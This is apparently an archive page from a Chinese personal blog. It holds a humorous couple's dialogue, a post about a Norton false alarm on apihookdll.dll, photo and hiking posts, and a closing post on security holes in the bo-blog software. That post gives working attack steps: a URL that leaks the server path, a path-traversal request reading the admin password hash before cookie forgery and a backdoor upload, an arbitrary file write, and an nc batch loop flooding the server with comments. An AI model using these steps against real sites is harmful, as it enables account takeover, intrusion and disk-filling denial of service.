作者存档

无题

1.随便
      
      男:今天晚上咱们吃什么?
      
      女:随便。
      
      男:吃火锅吧。
      
      女:不行,吃火锅脸上要长痘痘。
      
      男:那咱们吃川菜?
      
      女:昨天刚吃的川菜,今天又吃…………
      
      男:那咱吃海鲜去?
      
      女:海鲜不好,吃了拉肚子。
      
      男:那你说吃什么?
      
      女:随便。
      
      
2.都行
      
      男:那咱现在到底干什么?
      
      女:都行。
      
      男:看电影怎么样?好久没看电影了。
      
      女:电影有啥好看的?耽搁时间。
      
      男: 那打保龄球,运动运动?
      
      女:大热天的运什么动啊?不嫌累啊?
      
      男:那找个咖啡店坐坐,喝点水。
      
      女:喝咖啡影响睡眠。
      
      男:那你说干什么?
      
      女:都行。
      
      
3.看你
      
      男:那咱干脆回家好了。
      
      女:看你。
      
      男:坐公交车吧!我送你。
      
      女:公交车又脏又挤,还是算了。
      
      男:那打的。
      
      女:这么近的路不划算。
      
      男:那走路好了,散散步。
      
      女:空着肚子散哪门子步去?
      
      男:那你到底想怎么着啊?
      
      女:看你。
      
      男:那就先吃饭。
      
      女:随便。
      
      男:吃什么?
      
      女:都行。

apihookdll.dll是病毒吗?

前天升级诺顿企业版9.0之后立刻提示说有病毒,说是木马,但杀不掉。从此每开一个程序就提示一下。我查了一下进程,没有apihookdll。又用木马克星查,却没有报。于是升级木马克星。升级完毕,提示重起之后诺顿又提示了一次,然后就不提示了。木马克星此时还是没有抱有木马。于是我打算用诺顿的光盘引导一下。在重起之前查了一下apihookdll的资料,这才知道,原来apihookdll本来就是木马克星调用的。这才明白怎么回事。看来诺顿是误报,而木马克星也及时修正了程序。

解决办法:

可以先删除木马克星,重起后用最新版本在安装,如果机子里有诺顿的话,安装时会有提醒,安装也无法进行下去,此时只要点忽略即可,以后木马克星的密码保护功能就不能起作用了,但也不会再出现诺顿的病毒提示了!

流光飞舞

[swf]http://www.flashpub.net/0o/98.swf[/swf]

PP来了

高山水库

凉粉、窄凳及其它

迎春花开呀开

金屋藏娇,看到娇藏在哪儿了么

天池

猜猜哪只鞋是我的^_^

爬山真累

好久没有出去户外运动了,才发现自己的体力是如此不支,爬一趟翠华山下来感觉腿就跟断了似的….[exclaim]
再加上不幸滴又感冒了,整个人都没精神,下山的时候好像随时都会倒下一样。
今天太累了,睡觉先,明天再抽空发几张PP
[lol]

关于bo-blog的安全隐患

bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。
首先开门见山,我们说说它的绝对路径暴露问题………
只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005
就可以得到程序所在绝对路径!

这是php中很经常出现的问题!
现在我们在来看一段代码,这是showcat.php里的内容!

if (!file_exists("$dirblog/$cat.php")) {
wronginfo($langerrornocat);
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");

看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?
for ($i=$start; $i<$end;$i++) {
$latest=explode("|",$allfiles[$i]);
$articleid=$latest[1];
$articlename=$latest[2];
$latest[3]=mktimezone($latest[3]);
$showtime=date("Y-n-j",$latest[3]);

这样,它将$cat提交来的文件打开,读出来,但是以|为分隔读出文件内容,因为以|读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有|的文件的第一个|后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid
便可以得到管理员的密码散列。
然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。
我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?
$replyauthor=safe_convert($replyauthor);
$remreplyauthor=$replyauthor;
if ($replyemail!="") $replyauthor.="胃胃".safe_convert($replyemail);
$replycontent=safe_convert($replycontent);
$simplecontent=preg_replace("/[(.+?)]/is", "", $replycontent);
$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);
$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);
$curexcerpt=msubstr($simplecontent,0,20);
$timestamp=time();
$areply=@readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl",$replycontent."
|rep|
".$areply);
writetofile("$dirblog/list.php",$all1);
updaterenum(1);

看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。
writetofile("$dirblog/C:winntsystem32hacker.rpl",$replycontent."
|rep|
".$areply);

呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。
只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!
首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~
再建立一个bat,命名为test.bat内容为:
nc www.test.com 80 cls
test.bat
呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 o(>_<)o